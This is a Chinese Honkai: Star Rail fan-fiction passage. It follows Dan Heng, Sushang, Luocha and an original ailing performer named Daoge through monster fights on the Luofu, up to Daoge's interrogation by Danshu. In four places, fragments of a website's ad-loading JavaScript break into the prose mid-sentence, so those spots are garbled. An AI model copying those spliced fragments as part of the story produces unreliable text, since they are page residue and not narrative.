《[崩铁]悲悼伶人为何这般》 1. 一、行商,云骑,被放逐者与伶人 “亲爱的伶人,我有没有和你说起过,寰宇最基础的规则?” “没有。” “居然没有?好吧。那我一定要告诉你,寰宇,其实是一个巨大的游戏!在这个游戏里,只有特殊的一类人才有其价值……你玩过抽卡游戏吗?只有那些能进入卡池的‘卡’,才能被玩家记住,我管这些卡叫做自机角色!” “听起来很无厘头,有你的风格。很像是你今天没吃药导致的。” “我是认真的呀!这是一个惊天的秘密,我却只告诉了你,为什么你不能相信我?” “其实我相信你,愚者。但是这对我将要做的事情没有影响……如果你非要问我对此的看法,那我只能回答你:想必我并不受命运垂怜,也不是能被记住的‘自机角色’。” “亲爱的伶人,这就是你想错了。除了被命运眷顾的那些特殊的人们,还有另一类东西绝对会被记住……你知道是哪一类吗?” “你想说什么?” “我想说,答案是星神呀,亲爱的。寰宇中不是自机角色,更胜自机角色的存在!他们是规则的化身,无上伟力的具现,比自机角色更不可或缺,更有值得铭记的价值……如果不能成为自机角色,这不失为另一种被人记住的方法,不是吗?” “……” “我说到这里啦,亲爱的伶人。你难道会听不懂我的意思吗?如果你真的那么希望实现你的愿望,为什么不和我联手呢?” “好啊。不如说,我们已经在联手了。其实你不用说得这么拐弯抹角,毕竟我们姑且算得上朋友。” ******** 眼前的一幕,很有黑色幽默的意味。 丹恒心想。 自从他被罗浮仙舟放逐,又登上星穹列车踏上开拓的命途,已经过去很久。然而旧日的梦魇紧追不舍地咬了上来,星核猎手突降列车,逼迫他们改变航道来到罗浮。 他本不愿下车,奈何在杨叔一行人下车不久后,就得知那个人也在仙舟。由于实在担心同伴的安危,他不得不顶着仙舟的通缉重新踏足此地,然而刚刚落地,就见一副……美救英雄的场景。 拦在魔阴身怪物和那两个化外来客之间的姑娘,看装束是个云骑。 此刻,她活蹦乱跳地提着一柄重剑,嘴里还囔囔着:“你们好好呆着就好,这些怪物就交给我!” 丹恒不愿和云骑打照面——他的通缉恐怕还没撤下,万一这位云骑姑娘认出他来,要将他就地正法,事情就不只是黑色幽默了。 然而终究他做不出袖手旁观这样的事情。算了,被认出来就被认出来吧。丹恒叹了口气,冲上去帮忙。 对面长树枝的魔阴身怪物很不讲武德地上来就给了那个云骑几连刺,引得她发出一声痛呼。 “……你受伤了。”丹恒出声提醒。 “不妨事……”云骑咬着牙说。 站在两人身后,金发绿眼背着棺材的化外来客忽然握着项链上前一步。 随着他的走出,碧绿色的百合花光华在他们身上流动而过,治愈了他们的伤口。 “两位为救我们而战,罗刹又岂能事不关己,好好呆着呢。” 这位自称罗刹的化外来客如是说道。 “……” 另一位白发蓝眼的化外来客轻轻叹了口气,张口开始唱歌: “我已万物为砥石,试图砥砺我之意义;却不知万物是水,我消逝其中,正如水消逝在水中。” 他的语调舒缓,唱词轻柔哀伤,带着一股特殊的韵律,无形的歌声似乎变为有形,化作一圈轻纱般的蓝光萦绕在丹恒和云骑的周身。 丹恒感到自己的力量增强了。 ……看来这两位化外来客都不简单。丹恒心想,手中击云长枪快速刺出,三两下解决了眼前的魔阴身怪物。 击退怪物的云骑松了一口气,转身问:“终于……你们没事吧?” 那位金发绿眼的化外来客点头。 他身边那个白发蓝眼的家伙正准备点头,忽然咳嗽起来,还越咳越厉害——并且,由于此人左手吊在脖子上,右手拄着拐杖,他腾不出手来捂住嘴,只能微微弯下腰去。 因此,丹恒很清楚地看见,此人呕出一滩血。 “……”丹恒微微震撼地开始回忆,刚刚是否让魔阴身怪物越过了他和云骑的防线打到了此人。 “你,你怎么了?!” 白发化外来客这幅半身不遂、半死不活的尊荣吓了云骑一大跳,她顿时手足无措,甚至不知道该不该去扶,该扶哪只手。 罗刹叹气,伸出一只手托在他的右胳膊。 “咳咳咳……咳咳……”白发的化外来客强忍着咳嗽,死死地按住罗刹扶着他的手,借着罗刹的力道直起腰来,微微理了理因此打乱的刘海,让它们重新回到本来的位置遮住左半边脸,才有空回答说,“我没事,不必担心。” 他的嘴角甚至还留着血迹。丹恒默默想。 然而比起这个,更让他在意的是,这位化外来客直起腰来那一瞬间,失去白色卷发遮盖的那左半边脸——它们呈现出不正常的灰白色,质感不像皮肤,倒像是大理石。 咄咄怪病。咄咄怪人。丹恒心想。 “……真的没事吗?”云骑犹豫着质疑。 “请放心,您和这位先生刚才将我们保护得很好,我一点皮外伤也没有受。”白发化外来客摇头,说,“这是我个人的老毛病,一点普普通通的不治之症。” “呃……不、不治之症……”云骑有点哽住了,不知道如何接话。 “抱歉,我说错话了。实际上我正在努力尝试治疗……总之不是什么大事,不用放在心上。”白发化外来客十分明显地敷衍说。 “好吧……”云骑摸了摸脑袋,说,“哦,我还没自我介绍吧?我是云骑素裳,刚刚从曜青仙舟调来这里的!” “谢谢您出手相救,”白发化外来客微微欠身,“非常感谢。我是悼歌,这位是……” “罗刹!我知道,他刚刚说了。”素裳抢答道,又转头看向丹恒,“哎对了,闷葫芦,你叫什么名字?刚刚你的云骑枪法不赖呀!哪个伍的?” “……我叫丹恒。”丹恒否认,“我不是云骑。” “好吧。那你就也是我要保护的对象了。”素裳严肃地说,“这一片已经奉将军的命令戒严了,我是来疏散群众的。你们跟我走,我带你们去安全的地方。” 背着棺材的罗刹目露担忧:“素裳姑娘,仙舟出什么事了?我往来行商多次,从来未见仙舟如此模样。” 素裳一哽:“这个……我不能说……” 半晌,她泄气道:“说实话,我其实也不清楚。我只是按照命令来做事……总之你们跟我走就是了。” “不必。”丹恒想也不想就拒绝,“我是来找我的同伴的。不用姑娘费心,我自己一个人也没问题。” “不行!一个人行动有危险。再说了,流云渡都疏散了,你的朋友如果没出事,就肯定也在安全的地方等你。你到了,就见到他们啦。”素裳坚持说。 “……”见她如此坚持,丹恒无奈道,“好吧。” “好!我们走吧!云骑军素裳,一定保护好你们的安全!”素裳顿时弯着眼睛活力十足地拍着胸脯保证。 “呃等等,这位……”素裳转头看向悼歌。 “悼歌。”他贴心地又报上自己的名字。 “噢,悼歌。你能走吗?要不要我扶着你之类的……”素裳犹豫。 白发的化外来客定定地看了素裳一会,半晌无奈叹气,抄着拐棍稳稳地走出去几步,又稳稳地走了回来,站定。 丹恒这辈子都想不到他会同时把一瘸一拐和健步如飞用来形容 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 同一个人。 “谢谢您的好意,”他静静地拄着拐说,“不用担心,我能自己走。” 看得有点呆了的素裳回过神来,说:“那没事了,我们走吧。” ******** 丹恒沉默地走在队伍的最末尾,不动声色地观察阔别多年的仙舟。 这艘联盟的巨舰和他离开时一样壮丽。朱红色的立柱和青色的墙体构成的主基调,搭配如迷宫般错综复杂的楼梯与过道,越过栏杆即可见到的郎朗晴空…… 仍是去时景,人却不是当年人。 他正陷在那些旧事中沉思,忽然悼歌冷不丁地出声问:“丹恒先生,您是仙舟人吗?” “……”丹恒说,“算是。” “我想,您一定已经离开罗浮仙舟很久了吧?”悼歌说,“您刚才的神情,就像远游多年的游子忽然重返故乡一样。” “咦,原来你是罗浮人?”素裳惊讶地说,“但是悼……” “悼歌。”他很贴心地为记不住自己名字的云骑又报了一遍。 “噢,悼歌。对不起啊,我记性不太好……不过,你是怎么看出来闷葫芦是仙舟人的?”素裳好奇问道。 悼歌沉吟片刻,说:“嗯……可能因为我是悲悼伶人,因此对思乡这种类似悲伤的情绪比较敏锐。” “悲悼伶人?那是什么?”素裳以一副纯白的、丝毫没有被知识污染过的神情看向悼歌。 “……”提到这个,悼歌本来就自带悲伤的脸更悲伤了,他蔫蔫地回答说,“我们是……您可以把我们当作欢愉的反面。” “……”丹恒很了解地选择不接话。 悲悼伶人,这也是寰宇的一个黑色幽默。他们本是坚定的反欢愉主义者,但欢愉的星神阿哈出于一种看乐子的心态,饶有趣味地将欢愉命途的力量赐给了这群人,并孜孜不倦地帮助他们穿越诸多星系,让他们传播对欢愉的弃绝…… 大概对阿哈来说,悲悼伶人就是一群顶级乐子。毕竟这也不难理解,凡人不自量力又一本正经地做自认为天下第一正确的疯事,的确容易让人笑出声来。这种幽默是一种堂吉诃德式的幽默——他们,悲悼伶人自认为不是乐子,自认为自身的事业崇高而伟大,因此在外人看来就越发可乐了。 确实有点可怜了。 丹恒默默地想,然而表面上他绷住了神情,兢兢业业地维持着冷面寡言的形象。 “欢愉的反面?”没有被知识污染过的素裳还在追问。 “……”悼歌收敛了神情,说,“素裳姑娘,我必须向您澄清这一点:诚然,悲悼伶人的力量来自于欢愉的星神阿哈,但是我们并不认同阿哈的理念。阿哈带来的欢乐是流毒的蜜糖,会在无知无觉间引诱人沉沦其中……” “各位,我们好像遇到了一点麻烦。”罗刹适时出声打断了悼歌即将发表的长篇大论。 几人停下来,望向前方,却见几个巨大的长方形集装箱拦住了去路。 素裳惊愕地说:“怎么会这样?我来的时候是有路的呀?” “大概是有人动了流云渡的操纵台,用这些集装箱挡住了去路。”罗刹冷静道。 “那,我们要怎么过去?我对这些机巧玩意儿一窍不通……”素裳急道。 “您别急,”悼歌安抚道,“请看那边。那个,是操纵台吗?” “咦?好像真的是。等等,你怎么知道操纵台在那边的?”素裳先喜,又疑,歪过头等着悼歌回答。 “很难不知道。”悼歌诚实又直白地说,“素裳姑娘,我的眼睛不瞎。反而是您,您是仙舟人,但是好像对这里,不太熟悉?” “……”素裳尴尬地偏头,“我是刚刚调过来的嘛……哎呀不说这个了,我们快点把这些挡路的箱子挪开吧。我记得前面就是星槎停泊的地方,到那里我们就可以乘星槎去安全区了!” 2. 二、世上已无不朽 救命。 丹恒绷着脸,和那位半死不活的伶人、背着棺材的行商以及双马尾的云骑一起挤在星槎里,非常明显地感觉到窒息。 由于星槎的布局,里面只有左右两边可以乘坐。出于对女孩子的礼让,三位男士不约而同地挤在了左边,于是形成了现在两面包夹芝士一样的位置安排,让坐在两人中间的丹恒倍感焦灼。 他左手边,是背着棺材的行商,右手边,是阴暗地用白色长卷发遮着左半边脸的伶人,很显然他们三个都不是外向的性格,于是星槎里陷入了死一般的沉默。 叮咚。 声音来自丹恒的口袋。 丹恒顶着其它三人的注目礼,查看信息,看见在自己发的“我上了仙舟了,你们注意安全,我遇到一点情况,马上来找你们”之下,穹回了一个简短的“?”。 穹:你上仙舟了? 紧接着,又是叮咚一声。 穹:你现在在哪里? “……” 丹恒在煎熬中快速打字,简单地交待情况:我在去往星槎海中枢的路上,马上和你们汇合,你们多加小心。 等他发完抬起头,星槎内又陷入了死一般的沉默。 “对了,说起来,”唯一能拯救气氛的素裳忽然开口说,“你们是一起的吗?” “……您是问我和罗刹先生?”悼歌向左看了看,慢吞吞的回答,“是的。在他行商的过程中,我和他偶遇了。刚才您也看见了,他在医术方面颇有心得,因此我请求他为我治病……” “然而,在下也对悼歌的病束手无策。”罗刹无奈地接过话来,“我听说仙舟罗浮的持明龙尊医术精湛,能治百病,所以就推荐他去找龙尊试一试,这才同行到此。” “哦……那你已经去看过了?”素裳问。 “还没有,素裳姑娘。”伶人沉默片刻说。 悼歌郁郁地继续:“其实,这和我的职业毛病有一点关系……不知道您能不能理解这种心情?当您有一种绝症的时候,如果有人说,有一位医生或许能治好您,”他重读了或许二字,“在抱有期待的时候,您就会忍不住让这种期待延续得再久一些……好像如果我不去看那位龙尊,我的病,就永远有微小的,能被治愈的可能性。” “……”丹恒很不愿意再听到“龙尊”这两个字,也不愿意看到这人如此消极,出声说,“讳疾忌医不是好事。” “您说得很有道理。所以我已经准备去见一见那位龙尊了。”悼歌点头。 “据我所知,”罗刹接话说,“现任龙尊是丹鼎司的衔药龙女。传言她医术高明不输前任龙尊,甚至能缓解魔阴身的发作。想必也能治你的病。” “……”丹恒抿了抿嘴,默不作声。 持明龙尊……这些事情已经和他没关系了。 “是吗?我不太清楚。”素裳摸了摸脑袋。 “即使治不好又能如何呢?凡人的生命终有尽头,”悼歌垂下眼睛凝视自己的左手,说,“就连不朽的星神,也不能真正不朽;就连繁育的星神塔伊兹育罗斯,也会孤独地陨落。” “星神也会死吗?”素裳问。 悼歌沉吟片刻,说:“就目前所知,是的。就像星星也会死去一样。” “那,繁育星神是老死的?”素裳追问。 “不,祂死于其它星神之手。”罗刹说。 “存护的星神克里铂,欢愉的星神阿哈,秩序的太一,同谐的希佩,开拓的阿基维利……他们共同参与了对繁育的讨伐。”悼歌说。 “都是星神,为什么要打打杀杀呢?”素裳疑惑。 “……”悼歌缓缓地转头来注视素裳,“抱歉,容我一问,您果真是仙舟人吗?” “呃?我是啊?”素裳不太明白地回答。 悼歌:“那么您不知道岚和药师的仇怨吗?我以为联盟追随的巡猎与丰饶星神是死敌。仙舟的魔阴身——刚刚您击退的那些,身上长树枝的怪物,不就是丰饶的产物吗?” “这个……这个我当然知道!”素裳偏头小声嘟囔,“我每天被我娘监督练剑,没怎么上过学……” 四人在这里说话的功夫,突然感觉到一阵剧烈的震动。紧接着,星槎也随之翻江倒海地震颤,翻得星槎内的四人滚作一团。 “这,这是怎么了!”素裳被撞得眼冒金星,忍痛捂着脑袋竭力保持平衡,“我们得先下车!下面就是星槎海中枢的码头!” 说罢,她拽着罗刹一脚踹开星槎的门,再接着一个翻滚落了地。 还在星槎内拄着击云保持平衡的丹恒转头,想要去拉一把悼歌,却见这位悲悼伶人神情莫名地看着被踹开的门外,引得他也不由自主地转头去看—— 被斫断的枯木再度生长,青金色的叶片如同熊熊燃烧的磷火。古老而繁复的字符从空中流落,金线绿底的光华萦绕其间,那花纹的模样,似乎非常眼熟。 那花纹,和罗刹使用的力量非常类似。 “如果我没看错,”悲悼伶人撑着拐杖站起来,“那应该是建木复生了。” 丹恒心头巨震,但此时情形不容多想,他拉了一把伶人跳下星槎,翻了个滚卸力,然而还没站起身,就见丰饶的孽物向他扑来。 不好,如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 果躲开,这孽物会伤到他身后的伶人。丹恒咬牙抬手召唤出击云,准备硬抗这一击,忽然听到一声叹息,紧接着,脸侧一阵疾风吹过。 噗嗤。 伶人的拐杖犹如一把利剑,紧挨着他左侧的脸颊刺出,像热刀入油一般刺进孽物的眼窝,又平滑地顺着眼窝向左侧划出。青绿色的血液和丰饶的力量顷刻喷溅。 丹恒侧目看向伶人。 虽然他知道这人不简单,但是现在看来更加可疑了。 “闷葫芦!你们没事吧?!”举着重剑对阵孽物的素裳急得大喊。 “您放心,我们暂时没事。”伶人收回拐杖,站了起来,歉意地对着丹恒说,“抱歉我没法拉您一把。现在情况危急,请务必小心,不用担心我。” 丹恒压下诸多疑惑,提着击云上前对战孽物。 然而,这些孽物无穷无尽,即使割下头颅,也极快地蠕动着再生出来,一时之间,满地是残肢脏器。 “喂!你们有谁知道那是什么吗?”素裳一边吃力地挥剑一边问,“还有,为什么这些怪物打不死啊?!” “那是建木,”伶人小幅度地侧身躲避孽物的攻击,解释说,“丰饶星神留下的神迹,仙舟人之所以长生的源头。传言岚成为巡猎星神之后,已经将建木斫断……不过看起来有人给了建木重新生长的养料。这些怪物不死,可能也是因为建木的复苏吧?” “……”丹恒想到了临行前星核猎手的通告,忍不住低声说,“星核……” “星核?”举着细剑的罗刹重复一遍,眼睛朝着丹恒看过来,“确实很有可能。丹恒兄弟似乎知道什么?” “……”丹恒沉默不语,但就在这一瞬间,忽然一个魔阴身士兵越过了他的防线,一把朝着伶人的方向冲了过去。 “小心!”素裳惊呼。 来不及了,那魔阴身的士兵已经将伶人一把抓住,并毫不留恋地向远处掠去。 “……!”丹恒皱眉冲上前去,却被更多冲过来的孽物层层拦住,杀不死的孽物紧紧围剿,阻碍去路。 在那魔阴身士兵的背影已经模糊地消失在一行人的视野之后,这些孽物竟然渐渐退去。 “他们把苦瓜脸带走了!”素裳急道。 “这些孽物,似乎为抓悼歌而来。”罗刹握着项链,冷静地收起细剑。 “我,我……”素裳既自责又气急,“我说好要保护你们……” “别着急,素裳姑娘,”罗刹安慰说,“如今星槎海全面封锁,那魔阴身跑不掉的。他们刚才似乎是朝着洄星港的方向去了,我们追上去,还来得及。” 3. 三、追及问题,但放弃追及 被魔阴身像一条带鱼一样夹在腋下的悼歌慢吞吞地理了理头发。刚才帮丹恒的那一击牵动了病变的左手,此时他的病灶正在钻心剜骨地疼痛。 魔阴身士兵一路狂奔,挟持着他向着洄星港疾驰而去,只消片刻,就从星槎海中枢来到洄星港,甩得丹恒素裳一行人影子都不见了。 “绿芙蓉……您是叫这个名字吗?”在剧烈的颠簸中,悼歌无奈地开口,“您能把我放下来吗?我觉得您再拎着我一会,可能我就要死了。” “呃,对不住!丹枢大人要我带您去见她……您怎么会和云骑混在一起?”魔阴身不住道歉,轻拿轻放地让悼歌落了地。 由于魔阴身长出的树枝盘虬交错,即使再轻拿轻放,绿芙蓉还是把悼歌刚刚理好的头发勾乱了。 悼歌忍耐片刻,忍无可忍,重新出手拨正头发,回答说:“一点小插曲,不重要。丹枢女士找我做什么?如果不是要紧事,能不能请她先等一会?” “这我哪能知道啊?”魔阴身闷闷地说,那张抽象的脸上具象地显现出打工人特有的疲惫和倦怠,“丹枢大人只嘱咐我要尽快。到了之后您问问丹枢大人吧。” “……”悼歌盯着这位绿芙蓉三秒,半晌,认命地一瘸一拐往前走,问,“那么,我们的丹枢大人现在在洄星港何处?” “呃……应该、应该是在若木亭?”绿芙蓉不确定地回答。 提步往前走的悼歌止步,缓缓转头看向绿芙蓉:“……您是说,丹枢女士现在在长乐天的若木亭,而您带着我,向着与若木亭方向完全相反的洄星港狂奔了数千米……?” “这个,”绿芙蓉苦着脸说,“当时您身边的那两个云骑太厉害了……他们拦住了通往长乐天的通道,我只能往他们的反方向跑……” 悼歌沉默片刻,慢吞吞地指出:“啊,这我能理解。但是您有没有想过,在您带我跑到洄星港之后,您还要带着我去见丹枢女士。洄星港并没有直接通向长乐天的道路,想要去到丹枢女士的所在,我们还得从星槎海中枢经过——如果您口中‘很厉害的两个云骑’还没离开那里,我们就会和他们打个照面……?” “……”绿芙蓉沉默片刻,敬佩地说,“好像是这样,您好聪明。” 悼歌盯着绿芙蓉看了三秒,意识到此人竟然是认真的。 “……我建议您少吃一点药王秘传的【龙蟠虬跃】,绿芙蓉先生。这种药在助长您力量的同时对您的判断力可能有一点影响。”悼歌诚恳地说。 想起来现在麻烦的处境,伶人忍不住郁郁地用拐杖点了点地面:“不过现在不是说那个的时候。他们很有可能追上来,我们得稍稍绕个路……劳驾您再带我一程,我走不了多快,恐怕会被追上。” 像木桩一样矗在那边的绿芙蓉反应了片刻,明白过来,重新将悼歌像带鱼一样一把抓住。 不幸的卷发再一次被树枝勾乱了。 “……”悼歌无声地、坚持地又理了理头发,开口说,“请往南走。南边的泊航区停靠着初成的星槎,我们乘星槎去长乐天。” ********* “天杀的!”追得气喘吁吁的素裳弯腰撑着膝盖调息,情不自禁地小声骂了一句,“他为什么跑得那么快?!” 罗刹若有所思:“不是跑得快……那魔阴身怪物似乎在和我们绕路。” “魔阴身怪物?绕路?”素裳抓狂地发出疑问,“那真的是魔阴身吗?怎么感觉比我还聪明??” 她抹了一把汗水正要重新追上去,忽然听见拐角处传来一个女声的痛苦喘息。 只见数只魔阴身怪物围着一个短发的少女,那女孩艰难地捂着胳膊,显出古怪的动弹不得之感。 “!”素裳说,“快,我们一起上,救下这姑娘!” 三人快刀斩乱麻地解决了围着女孩的魔阴身。 素裳微略喘了口气,问:“姑娘,你没事吧?” “……吾看起来像没事吗。”少女冷淡地说,“吾的运动机杼损坏了,动不了。” “对不住!”素裳这才猛然察觉眼前形似真人的少女实则是十王司的机巧偃偶,“我没看见有血,还以为你没事……” 少女勉强地抬起脑袋看了素裳一眼,看见云骑的制服,松了一口气,说:“你是云骑军?很好。吾是十王司的偃偶判官雪衣,正在执行追缴要犯的任务……现下吾行动不便,请送吾去地衡司进行修理。” “啊……”素裳愣了一下,为难道,“呃……” “……?”偃偶少女带着不解望向素裳,“怎么了?” “按照道理来说,我身为云骑,得优先配合偃偶判官的指示……”素裳为难地说,“但是姑娘,刚刚有一位群众被魔阴身抓走了,我正去救人的路上……” 站在一边的罗刹摊手,说:“在下略懂医术,如果姑娘信得过我,不妨让试试能否一直姑娘的伤势。” 偃偶少女:“没用的,吾并非血肉之躯……” 这话还没有说完,金发的行商已经手握着项链再一次使用不知来源的力量。青金色的光华流过,损坏的偃偶恢复如初。 偃偶少女转了转自己的手腕和手肘,发现它们灵活如从未损坏:“……神奇。” “你这根本不是医术吧?!”素裳惊奇地说。 丹恒回想起在星槎上望见的那一幕,那青绿色的建木花纹,抱臂低声说:“丰饶。” 想必此话一语中的,这位不知来头的异乡行商所使用的力量的确来自丰饶星神,仙舟人恨之入骨的寿瘟祸祖。 然而被戳穿的行商也只是轻笑着垂下眼睛转过头去,并不作解释。 能动了的偃偶少女并不理会这一边的暗流,冷静平淡地说:“吾身为十王司判官,不牵外缘,但你们助我脱身,吾便奉劝诸位一句:乘早离去。我到此地视为追拿要犯星核猎手而来,此人穷凶极恶,危险至极。” “……!”丹恒一惊。 “丹恒兄,认识这位星核猎手?”罗刹敏锐地察觉到丹恒一瞬间极大的动摇,出声问。 “不,谈不上认识。”丹恒迅速否认。 “如今建木复 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 苏,邪物作祟,”雪衣说,“吾须尽快返回十王司。然吾有伤在身,行动不便,得征用几位一程,只消找到星槎渡口,诸位即可自由行动。” “……啊……啊。”素裳愣了一下,犹豫道,“那,那苦瓜脸那边……” “素裳姑娘不必担心,你送这位雪衣姑娘一程吧。”罗刹轻轻叹气,贴心地说,“悼歌那边,交给我就好。” “你一个人没关系吗?”素裳不太放心地问。 “刚才一路上走过来,你也看见了,”罗刹微笑,“罗刹并不是手无缚鸡之力之人,请放心。” “……” 丹恒忽然出声说:“等等,我和你一起去。” 罗刹惊讶地看向丹恒。 “噢……确实,闷葫芦一起去的话就不会有危险了……那你们小心一点!”素裳说。 “……”罗刹恢复了镇静,伸出一只手示意丹恒走在前面,“那么我们走吧,丹恒兄。” ******* “……” 悼歌实在忍不了剧烈的颠簸,紧急叫停了魔阴身的狂奔。 他扶着盛装着初成星槎的息壤培养基咳血。 为了避免血迹落在地上留下痕迹,他用袖子捂住了嘴,此刻那些殷红的血迹留在袖口,像寒冬雪梅。 “……您真的不吃我们药王秘传的药吗?”绿芙蓉担忧地问。 “谢谢,我其实还没那么快死。”悼歌回答。 他平复着呼吸,一边梳理头发,一边凝视息壤培养基中的星槎,它们有的已经初具雏形,枝条缠绕着现出星槎的轮廓,有的则已经完全看不出枝条的形状。 这岂不神奇,岂不诡异?仙舟人日日使用,毫无防备的交通工具星槎,它们来自被称为寿瘟祸迹的建木,犹如植株一样从息壤中的种子开始萌发。从这个意义上来说,或许星槎也是一种活物,和那些受药王赐福的魔阴身并无区别。 和药师有关的东西就是这样,充满阴间又诡异的生命力。 如果以这样的形式长长久久地活下来,究竟是不是好事呢。 “……”悼歌收回视线,一瘸一拐地挑了一辆星槎上车,“我们走吧。” “哦。”没脑子的魔阴身怪物乖乖地说,亦步亦趋地跟在悼歌身后挤进星槎。 一时之间,一人一魔阴身相对无言。 “绿芙蓉先生,”在和长满银杏叶的怪物大眼瞪小眼数分钟后,悼歌不得不出声提醒,“我们的目的地是长乐天的若木亭。长乐天是仙舟的广场,人多眼杂,您就以身上长树枝的魔阴身形态去,会不会太瞩目了……?” “对啊!”绿芙蓉猛地想起来,敬佩地说,“您好聪明。” “……您还是尽快服用还尘驻形丹变回人形吧。” “哦哦,好的,好的。” 星槎平稳地从泊航区起飞,迅速地带着悼歌和绿芙蓉抵达了长乐天码头。 从这里到若木亭只消拐个弯。而悼歌已经远远地望见,那亭子边静静等待的绿裙女性。 “你来了。” 4. 四、微末之身,人世浮尘 若木亭的位置很好。 它身处长乐天,但又离人群最密集的长乐天广场有一定距离。它独自占据着四面环空的偏隅,如果游客背对长乐天广场,凭栏远眺,入目就是波澜壮阔又变幻莫测的云海,仙舟特有的巍峨建筑朦胧地掩在云雾之后,恍如天上仙宫;如果转身面向长乐天广场,只需要几步路,就能重新融入万家灯火,倾听人间的种种悲苦喜乐…… 悼歌拄着拐杖,视线越过背对着他的丹枢,看向飘落着点点碎金落叶的云海——这位置能清晰地看见那株参天的建木。撇去药师神迹的这一层外衣,这颗巨木有着单纯的、富于生机的美丽。 站在这里的确是很能静心的。 瞎眼睛的药王秘传魁首背对着他,说:“你来了。” “让您久等,”悼歌拄着拐杖上前,和丹枢并肩而立,“为了避开云骑,我不得不绕了一些路。” “你来了就好。”丹枢扶着栏杆淡淡地说,“此地能看见建木的全貌,风景甚佳,可惜我目不能视,无缘得见此景。” “它的确非常美丽。”悼歌说,“但我想,您不是来找我看风景的。” “是的,伶人。”丹枢偏过头来,空洞的视线“望”向悼歌的方向,“我接到一份来自星核猎手的通讯,上面的内容让我很是惊讶……不如你自己看看,再好想想,要如何向我解释你的所作所为。” 这位气质冷淡的魁首将一枚示迹玉扣扔到悼歌脚边,它旋转了两圈,最终停下。 悼歌看了丹枢一眼,慢吞吞地用拐杖点了点地上的玉扣,让那东西轻飘飘地飘到他面前,开始播放一段视频。 视频中的主角,白发蓝眼,正是悼歌。 悼歌静静地看着“自己”行走在集装箱密布的码头。 药王秘传的魁首冷冷的质问随之响起:“你为星穹列车的无名客打开了玉界门,让他们登陆仙舟……伶人,你准备如何解释你的所作所为?” “……!”守在若木亭旁边的绿芙蓉大吃一惊,瞪着眼珠子看向悼歌:刚刚还在和他有说有笑的人怎么突然就变成叛徒了,悲悼伶人,真可怕啊! “您误会了,丹枢女士。”悼歌心情不是很好地叹气,“打开玉界门的是星核猎手的银狼,她是来自朋克洛德的天才黑客,仙舟的玉界门对她来说并不成为阻碍。我出现在那里,实际上是为了阻拦星穹列车登陆仙舟。” “……”丹枢笑出声来,不紧不慢地说,“好拙劣的借口。人尽皆知,星核猎手是一群穷凶极恶的通缉犯,与誉满寰宇的星穹列车是敌对关系,其不合程度堪比慈怀药王与妖弓祸祖。星核猎手的人有什么理由帮星穹列车?” 悼歌一边思忖如果在这里和丹枢打起来他有几分赢面,一边慢吞吞地说:“那么,我有什么理由帮星穹列车?女士,您是医者,不难看出我病得快要死了。之所以与你们合作,是为了找寻延续生命的方法。我为什么会犯着同您决裂的风险将星穹列车放进罗浮?” “……”丹枢不为所动,仍旧审视着悼歌。 悼歌沉思片刻,继续说:“至于星核猎手的人为什么帮星穹列车……我想或许和‘刃’有关。您是否还记得那位背了黑锅的星核猎手刃?” 悼歌停顿了一下,说:“神策府误以为星核与他有关,因此将他拘禁在幽囚狱中。星核猎手彼此关系融洽,为了救出同伴,他们有必要洗去刃在星核一事上的嫌疑。而星穹列车向来以联结诸界,开辟银轨为己任,消除星核带来的万界之癌是他们常做的事情。这样一来,解决罗浮的星核灾变就会成为猎手与列车的共同目标,二者合作自然不值得稀奇了。” “很有道理的推断。”丹枢的态度软化了一些,“但仅仅是推断而已。” 悼歌叹息:“丹枢女士,我不过是个孑然一身的悲悼伶人。我所求甚小,只有治好我的病活下去;我力量微弱,即使您认为我背叛了您,我对您的大业也造不成任何威胁。” 伶人的眼睛越过丹枢看向云海中参天的建木:“那是星神的伟力。在这种层面的战斗中,凡人渺小如灰尘,脆弱似玻璃。哪怕只是最边缘一星半点余波,都会使其身死魂销。丹枢女士,此次行动成功与否,关键不在你,亦不在我,而在你我之上的那些存在。” 此处,那些存在其实不指星神。我管那些存在叫自机角色,一种特殊的,被命运垂怜的人们。伶人在心中无声补充。 丹枢被伶人的话戳中了痛处。 星神之间的战争宏伟又残酷,凡人的生命对祂们而言与蝼蚁无异。她也曾将自己的一腔忠诚献给帝弓司命,坚信目不能视带来的种种苦楚是帝弓降下的磨砺,但是帝弓从来不垂眼看看他们,就连她最好的朋友雨菲,也死于帝弓的光矢。 【帝弓再上,定会护我周全。】 这句临行前温柔的劝慰,事后看来多讽刺。 她的朋友,满怀着对帝弓的忠诚、对生命的珍重,作为随行军医身赴与丰饶民对抗的前线。她的朋友挽救了多少云骑的性命? 云骑凯旋那一天,她满心欢喜地站在渡口等候,星槎上的战士们一个一个归来,等待的家属带着久别重逢的眼泪与笑容离开,只有她,从白日到黑夜,孤零零地留在渡口,明白她的朋友已经再也回不来。 【帝弓司命降世临凡,以神矢剿灭了步离人的舰队……在这个过程中,祂的神恩也造成了一些附加伤害。雨菲所在的战地医院,就是其中之一。】 被她追问得无法的云骑军如是相告。 这就是她忠诚的星神带给她的全部——连年的战争、数不清的牺牲、永远不止歇的厮杀。 跳出了仙舟教给她的信仰,她才发觉,帝弓司命并不是善神,而药瘟祸祖也不是恶神:祂们一样是寰宇里最强大最远离凡人的存在,没有善恶之分,只有命途之争……而现在,她并不觉得巡猎的道路就一定比丰饶更好。 她愿意这个寰宇属于生命,而非属于死灭。 “丹枢女士,”伶人舒缓沉静的嗓音打断了丹枢的沉思,“您已经见过星穹列车一行人了吗?” “……”丹枢心中衡量,对伶人的怀疑已经放下大半,于是说,“不久之前,自称‘穹’的无名客来找我询问一副丹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方——而这丹方正是药王秘传的【龙蟠虬跃】。” “……您是说,无名客拿到了药王秘传的丹方?”悼歌顿时头疼起来。他很想问问这位魁首是否也过度服用了药王秘传的降智小秘方,然而他忍耐住了。 “是的。景元的策士长青镞委托无名客打入药王秘传内部,于是这位无名客就作为新人被堂而皇之地吸纳进来了。如果不是发现及时,恐怕你现在或许还能在我们这些莳者中见到他。”丹枢慢条斯理地说,没有焦距的视线冷冷地刺向若木亭边的绿芙蓉。 